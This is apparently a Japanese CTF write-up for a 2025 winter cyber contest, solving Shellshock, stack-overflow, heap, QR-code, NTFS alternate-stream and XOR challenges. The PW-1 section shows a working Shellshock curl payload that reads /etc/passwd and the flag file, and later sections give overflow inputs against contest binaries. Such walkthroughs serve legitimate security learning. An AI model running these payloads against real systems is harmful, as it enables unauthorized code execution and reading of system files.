> アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。
> /etc/PW-1
> https://pw1-prod.2025winter-cybercontest.net/
> 【回答書式】 flag{n桁の半角英数記号}
> 添付ファイル: PW-1.log

ログを見ると、以下の１つだけステータス200でリクエストが成功している。
```
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
```
このリクエストをcurlで試してみる。
```
$ curl https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
unbound:x:998:996:Unbound DNS resolver:/etc/unbound:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
```
リクエストのターゲットを/etc/PW-1に変えて実行する。
```
$ curl https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1'
flag{>:(!shellshock!}
```

flag{>:(!shellshock!}

### overmeow
> ファイルを用意したので、解析してもらえませんか。
> nc pw4-prod.2025winter-cybercontest.net 30001
> 【回答書式】 flag{n桁の半角英数記号}
> 添付ファイル: overmeow

overmeowの内容を確認する。
```
$ file overmeow
overmeow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f43061476fa4593958f368af7722f58ee0476003, for GNU/Linux 3.2.0, not stripped
```
適当な入力で動作を試してみる。
```
$ ./overmeow
　∧,,∧
（=・ω・）meow
（,, ｕｕ)

What's the cat's say?
foo
[hint]: overflow == 0x0
secret != 0x6d646f77 :(
```
Ghidraでデコンパイルする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/a49d0691-85d9-cf99-bb2a-33f25977b7ea.png)

local_10という変数が`0x6d646f77`になっていればフラグが表示されそう。
0x6d646f77はアスキーコードでは以下のようになる（`mdow`）。
* 0x6d	m
* 0x64	d
* 0x6f	o
* 0x77	w

gets()を使って入力を処理しているので、スタックの並びから考えて 16+8 バイト分オフセットさせればlocal_10を上書きできそう。mdow部分はリトルエンディアンとして、`123456789012345612345678wodm`を入力として実行する。
```
$ nc pw4-prod.2025winter-cybercontest.net 30001
　∧,,∧
（=・ω・）meow
（,, ｕｕ)

What's the cat's say?
123456789012345612345678wodm
Yes, I'll give you a flag.
flag{I_will_Golondon}
```

flag{I_will_Golondon}

### heapmeow
> 猫ちゃんの鳴き声はなんですか?
> nc pw5-prod.2025winter-cybercontest.net 30001
> 【回答書式】 flag{n桁の半角英数記号}
> 添付ファイル: program.c

どこかのCTF解説本で見かけたことがあるようなプログラム。malloc()やfree()をしているが、使われていない変数も残っていたりして、いろいろと気になるところがある。Cat構造体のsaysメンバーに `meow`を書き込めばよさそう。

いろいろと試していると、init()処理でcat変数に確保されたデータを上書きするには、一度free()してからmalloc()すればよさそう。Cat構造体は以下のようになっているので、nameメンバーとpatternメンバー分の24バイトをオフセットさせて`meow`を書き込む。
```c
typedef struct {
    char name[12];
    char pattern[12];
    char says[5];
} Cat;
```

```
$ nc pw5-prod.2025winter-cybercontest.net 30001
　∧,,∧
（=・ω・）
（,, ｕｕ)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
123456789012345678901234meow
Congratulations!
flag{cat_g0es_me0w}
```

flag{cat_g0es_me0w}

## TR
### 合体はロマン
> 二次元バーコードでフラグを書いておきました。
> 【回答書式】 flag{n桁の半角英数字}
> 添付ファイル: TR-1_1.gif, TR-1_2.gif, TR-1_3.gif, TR-1_4.gif

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/74e0b8a9-1894-5927-b6f7-f69793064eb9.png)

画像のサイズが微妙に違うものや、端が少し切れているものもあり、そのままの並べ替えではなさそう。
いろいろと並べ替えていると、端部分が重複していることに気づいたのでそれを考慮してならべ変えるが、TR-1_3.gifだけがうまく当てはまらない。

QRコードの仕様を確認しているとTR-1_3.gifの白黒が反転していることが分かったので、Gimpで反転させるとうまく当てはまる状態になった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/a2225c9d-c58e-9723-dc9a-b422b2e87c5b.png)

flag{ThisCodeIsLevelH}

### Windowsで解きましょう
> 下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください
> 【回答書式】 flag{22桁の半角数字}
> 添付ファイル: flags.bat

```bat:flags.bat
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal
```
とりあえず、バッチファイルを実行してみると以下のファイルが生成され、中には少し異なるフラグ情報が書かれている。
flags_10.txt, flags_11.txt, ... , flags_99.txt

どれが本物かわからない状態なので、スクリプトをみると以下のように[NTFSの代替データストリーム](https://www.sompocybersecurity.com/column/glossary/ads)でファイルが作られていそうとわかる。
```bat
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
```
ファイルの数字部分をスクリプトから読み取るよりも、生成されたファイルを確認する方が早そう。

```
C:\Users\user\Desktop\TR-2\flags>dir /r
 ドライブ C のボリューム ラベルがありません。
 ボリューム シリアル番号は 28AB-C718 です

 C:\Users\user\Desktop\TR-2\flags のディレクトリ

2025/02/02  13:37    <DIR>          .
2025/02/02  13:37    <DIR>          ..
2025/02/02  13:37                31 flags_10.txt
2025/02/02  13:37                31 flags_11.txt
2025/02/02  13:37                31 flags_12.txt
2025/02/02  13:37                31 flags_13.txt
2025/02/02  13:37                31 flags_14.txt
2025/02/02  13:37                31 flags_15.txt
2025/02/02  13:37                31 flags_16.txt
2025/02/02  13:37                31 flags_17.txt
2025/02/02  13:37                31 flags_18.txt
2025/02/02  13:37                31 flags_19.txt
2025/02/02  13:37                31 flags_20.txt
2025/02/02  13:37                31 flags_21.txt
2025/02/02  13:37                31 flags_22.txt
2025/02/02  13:37                31 flags_23.txt
2025/02/02  13:37                31 flags_24.txt
2025/02/02  13:37                31 flags_25.txt
                                 22 flags_25.txt:TrueFlag:$DATA
2025/02/02  13:37                31 flags_26.txt
2025/02/02  13:37                31 flags_27.txt
2025/02/02  13:37                31 flags_28.txt
:
C:\Users\user\Desktop\TR-2\flags>type  flags_25.txt
flag{7525252364612534937244}
```

flag{7525252364612534937244}

### 排他的倫理和
> 比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。
> 【回答書式】 flag{IPアドレス}
> 添付ファイル: pattern1, pattern2, pattern3, compare

とりあえず、ファイル同士のXORをとるスクリプトをChatGPTに作ってもらう。
```python:xor.py
import sys

def xor_files(file1, file2, output_file):
    with open(file1, 'rb') as f1, open(file2, 'rb') as f2, open(output_file, 'wb') as out:
        data1 = f1.read()
        data2 = f2.read()
        
        # 長さを揃える（短い方を長い方に合わせる）
        length = max(len(data1), len(data2))
        data1 = data1.ljust(length, b'\x00')
        data2 = data2.ljust(length, b'\x00')
        
        result = bytes(a ^ b for a, b in zip(data1, data2))
        out.write(result)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python file_xor.py <file1> <file2> <output_file>")
    else:
        xor_files(sys.argv[1], sys.argv[2], sys.argv[3])
```

compareと他のファイルを比較していくと、pattern3でflag形式っぽいものが出てくる。
```
$ python3 xor.py compare pattern3 result
$ xxd -a result
00000000: 666c 6167 7bac 1def fd7d                 flag{....}
```

フラグの形式として「flag{IPアドレス}」と書かれているので、IPアドレス4オクテット分が16進データとして入っていると推測する。{}内の4バイトは10進表記にすると以下のようになる。
* ac → 172
* 1d → 29
* ef → 239
* fd → 253

flag{172.29.239.253}